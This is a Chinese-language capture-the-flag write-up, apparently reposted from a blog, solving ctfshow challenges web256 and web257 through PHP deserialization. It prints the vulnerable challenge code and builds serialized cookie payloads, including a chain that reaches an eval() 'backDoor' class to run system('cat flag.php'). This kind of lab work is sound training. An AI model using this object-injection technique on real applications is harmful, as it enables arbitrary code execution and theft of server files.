error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
对于上一题,这题关键点在于让username不等于password
因为在类中都是单独用===比较,所以只需要将username重新赋值就好,最后再序列化编码输出
<?php
class ctfShowUser{
public $username = 'asdfgh';
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22asdfgh%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
最后如果没有cookie信息,就抓包后自行添加,然后GET方法传入username和password参数,就可以获得flag
web257
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
代码审计
这个源码一共定义了三个类:
ctfshowuser类
类中设定了四个私有属性(表示只有在当前类中才能使用)
使用了两个php魔术方法:
__construct(在类被实例化后自动调用)将 $class 属性设置为 info 类的实例。
__destruct()(在类被销毁时被自动调用) 指向class的getInfo() 方法。因为class已经被赋值为info类的实例,则表示当前类销毁时,调用info类中的getInfo() 方法
info类和baseDoor类
info类主要是定义了一个user的私有属性的初值,getinfo方法的目的是返回user属性值
backDoor类定义了一个私有属性code和一个公共方法getinfo,作用是eval代码执行
解题步骤
根据以上代码审计,我们知道,要获得flag就要使用backDoor类的getinfo方法,去造成代码执行
我们得知反序列化结束就会,调用getInfo方法,不过是info类中的getinfo方法
php反序列化不能改变类的方法,但是可以更改类的属性去达成我们的目的
简单的构造方法,就是把类复制,把该删的删掉剩下的改就行了
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
#除了$class都用不到
private $class = 'info';
public function __construct(){
$this->class=new info();
#因为我们要使用backDoor类的getinfo,所以我们可以将这里的info改为backDoor
}
#无用
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
#无用
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
#要用的类,通过控制$code的值造成,任意代码执行
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
#最终代码
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
#因为我们要使用backDoor类的getinfo,所以我们可以将这里的info改为backDoor
}
}
#要用的类,通过控制$code的值造成,任意代码执行
class backDoor{
private $code = 'system("cat flag.php");'; 或者使用tac
}
echo urlencode(serialize(new ctfShowUser()));
?>
tac是cat的相反方法:
表示反序输出文件的内容,文件的最后一行显示在第一行,它可以对调试日志文件提供了很大的帮助,扭转日志内容的时间顺序。
一开始查看wp我也不知道为啥要用tac,不用cat。直到我坚持使用cat,结果页面没有回显
但是在最后回想起可能在源码中,结果真在,tac只是将最后一行作为第一行显示出来文章来源:https://www.toymoban.com/news/detail-514061.html
tac的在最后一行文章来源地址https://www.toymoban.com/news/detail-514061.html
到了这里,关于web256-257的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!